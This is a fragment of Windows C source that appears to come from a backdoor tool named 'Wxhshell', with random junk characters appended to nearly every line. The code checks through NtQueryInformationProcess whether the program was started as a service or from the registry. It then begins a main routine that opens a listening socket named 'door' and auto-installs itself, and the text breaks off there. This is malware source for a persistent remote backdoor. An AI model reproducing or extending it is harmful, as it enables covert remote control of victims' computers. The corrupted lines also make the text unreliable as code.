DWORD BasePriority; T|Fl$is
ULONG UniqueProcessId; 8d"Ff
ULONG InheritedFromUniqueProcessId; 0h~7"qUF@
} PROCESS_BASIC_INFORMATION; 3,-xk!W$L
r(cd?sL96R
PROCNTQSIP NtQueryInformationProcess; n[`FoY
/q >1X!Z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <MBpV^Y}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -eoXaP{[
a{7'qmN1
HANDLE hProcess; V17SJSC-
PROCESS_BASIC_INFORMATION pbi; $4&e{fLt|v
=?gB@vS
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OB5`a,5dI
if(NULL == hInst ) return 0; sDnXgCcS!
a@V`EEZ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "_T8Km008
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DF!*S{)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0_faJjTbP;
<mdHca
if (!NtQueryInformationProcess) return 0; :NPnwX8w
Rz9IjL.Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;/g Bjp]H
if(!hProcess) return 0; wm/=]*jpK
h"DxgG
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1x~dsM;q
a6i%7O m
CloseHandle(hProcess); <^8&2wAkJ
GY,HEe]2r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8C>\!lW"
if(hProcess==NULL) return 0; fC$(l@O?
^9*kZV<K
HMODULE hMod; V1Opp8
char procName[255]; 0B?t:XU ,
unsigned long cbNeeded; TmIw?#q^
:N
~A7@
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L1J~D?q
$,9A?'
CloseHandle(hProcess); ny{Yr>:2
vhOX1'
if(strstr(procName,"services")) return 1; // 以服务启动 n6]8W^g
Y(3X5v?[
return 0; // 注册表启动 ^TF71uo
} /I/gbmc)
I c 2R\}q
// 主模块 Z0I>PBL@l
int StartWxhshell(LPSTR lpCmdLine) ;Wu6f"+Y#
{ )UgLs|G~
SOCKET wsl; ~SN *
BOOL val=TRUE; 85GU~.
int port=0; C=>IJ'G
struct sockaddr_in door; [uD G;We=
I@/+=
if(wscfg.ws_autoins) Install(); Ri mz~}+
L&L